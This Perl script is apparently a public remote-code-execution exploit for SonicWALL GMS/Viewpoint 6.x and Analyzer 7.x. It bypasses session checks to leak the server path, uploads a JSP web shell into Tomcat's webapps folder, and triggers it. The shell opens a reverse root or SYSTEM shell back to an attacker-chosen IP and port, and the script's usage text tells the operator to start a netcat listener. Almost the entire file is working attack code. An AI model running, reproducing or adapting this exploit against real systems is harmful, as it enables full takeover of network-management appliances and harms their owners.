#!/usr/bin/perl
##
# Title: SonicWALL GMS/VIEWPOINT 6.x Analyzer 7.x Remote Root/SYSTEM exploit
# Name: sgmsRCE.pl
# Author: Nikolas Sotiriu (lofi) <lofi[at]sotiriu.de>
#
# Use it only for education or ethical pentesting! The author accepts
# no liability for damage caused by this tool.
#
##
use strict;
use HTTP::Request::Common qw(POST);
use LWP::UserAgent;
use LWP::Protocol::https;
use Getopt::Std;
my %args;
getopt('hlp:', \%args);
my $victim = $args{h} || usage();
my $lip = $args{l};
my $lport = $args{p};
my $detect = $args{d};
my $shellname = "cbs.jsp";
banner();
my $gms_path;
my $target;
my $sysshell;
my $agent = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0,},);
$agent->agent("Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20100101 Firefox/11.0");
# Place your Proxy here if needed
#$agent->proxy(['http', 'https'], 'http://localhost:8080/');
print "[+] Checking host ...\n";
my $request = POST "$victim/appliance/applianceMainPage?skipSessionCheck=1",
Content_Type => 'application/x-www-form-urlencoded; charset=UTF-8',
Content => [ num => "123456",
action => "show_diagnostics",
task => "search",
item => "application_log",
criteria => "*.*",
width => "500",
];
my $result = $agent->request($request);
if ($result->is_success) {
print "[+] Host looks vulnerable ...\n";
} else {
print "[-] Error while connecting ... $result->status_line\n";
exit(0);
}
my @lines=split("\n",$result->content);
foreach my $line (@lines) {
if ($line =~ /OPTION VALUE=/) {
my @a=split("\"", $line);
if ($a[1] =~ m/logs/i) {
my @b=split(/logs/i,$a[1]);
$gms_path=$b[0];
}
if ($gms_path ne "") {
print "[+] GMS Path: $gms_path\n";
last;
} else {
next;
}
}
}
if ($gms_path eq "") {
print "[-] Couldn't get the GMS path ... Maybe not vulnerable\n";
exit(0);
}
if ($gms_path =~ m/^\//) {
$target="UNX";
$gms_path=$gms_path."Tomcat/webapps/appliance/";
$sysshell="/bin/sh";
print "[+] Target ist Unix...\n";
} else {
$target="WIN";
$gms_path=$gms_path."Tomcat\\webapps\\appliance\\";
$sysshell="cmd.exe";
print "[+] Target ist Windows...\n";
}
&_writing_shell;
if (!$detect) {
print "[+] Uploading shell ...\n";
my $request = POST "$victim/appliance/applianceMainPage?skipSessionCheck=1",
Content_Type => 'multipart/form-data',
Content => [ action => "file_system",
task => "uploadFile",
searchFolder => "$gms_path",
uploadFileName => ["$shellname"]
];
my $result = $agent->request($request);
if ($result->is_success) {
print "[+] Upload completed ...\n";
} else {
print "[-] Error while connecting ... $result->status_line\n";
exit(0);
}
unlink("$shellname");
print "[+] Spawning remote root/system shell ...\n";
my $result = $agent->get("$victim/appliance/$shellname");
if ($result->is_success) {
print "[+] Have fun ...\n";
} else {
print "[-] Error while connecting ... $result->status_line\n";
exit(0);
}
}
sub _writing_shell {
open FILE, ">", "$shellname" or die $!;
print FILE << "EOF";
<%\@page import="java.lang.*"%>
<%\@page import="java.util.*"%>
<%\@page import="java.io.*"%>
<%\@page import="java.net.*"%>
<%
class StreamConnector extends Thread
{
InputStream is;
OutputStream os;
StreamConnector( InputStream is, OutputStream os )
{
this.is = is;
this.os = os;
}
public void run()
{
BufferedReader in = null;
BufferedWriter out = null;
try
{
in = new BufferedReader( new InputStreamReader( this.is ) );
out = new BufferedWriter( new OutputStreamWriter( this.os ) );
char buffer[] = new char[8192];
int length;
while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
{
out.write( buffer, 0, length );
out.flush();
}
} catch( Exception e ){}
try
{
if( in != null )
in.close();
if( out != null )
out.close();
} catch( Exception e ){}
}
}
try
{
Socket socket = new Socket( "$lip", $lport );
Process process = Runtime.getRuntime().exec( "$sysshell" );
( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
} catch( Exception e ) {}
%>
EOF
close(FILE);
}
sub usage {
print "\n";
print " $0 - SonicWALL GMS/VIEWPOINT/Analyzer Remote Root/SYSTEM exploit\n";
print "====================================================================\n\n";
print " Usage:\n";
print " $0 -h <http://victim> -l <yourip> -p <yourport>\n";
print " Notes:\n";
print " Start your netcat listener <nc -lp 4444>\n";
print " -d only checks if the Host is vulnerable\n";
print "\n";
print " Author:\n";
print " Nikolas Sotiriu (lofi)\n";
print " url: www.sotiriu.de\n";
print " mail: lofi[at]sotiriu.de\n";
print "\n";
exit(1);
}
sub banner {
print STDERR << "EOF";
--------------------------------------------------------------------------------
SonicWALL GMS/VIEWPOINT 6.x Analyzer 7.x Remote Root/SYSTEM exploit
--------------------------------------------------------------------------------
EOF
}
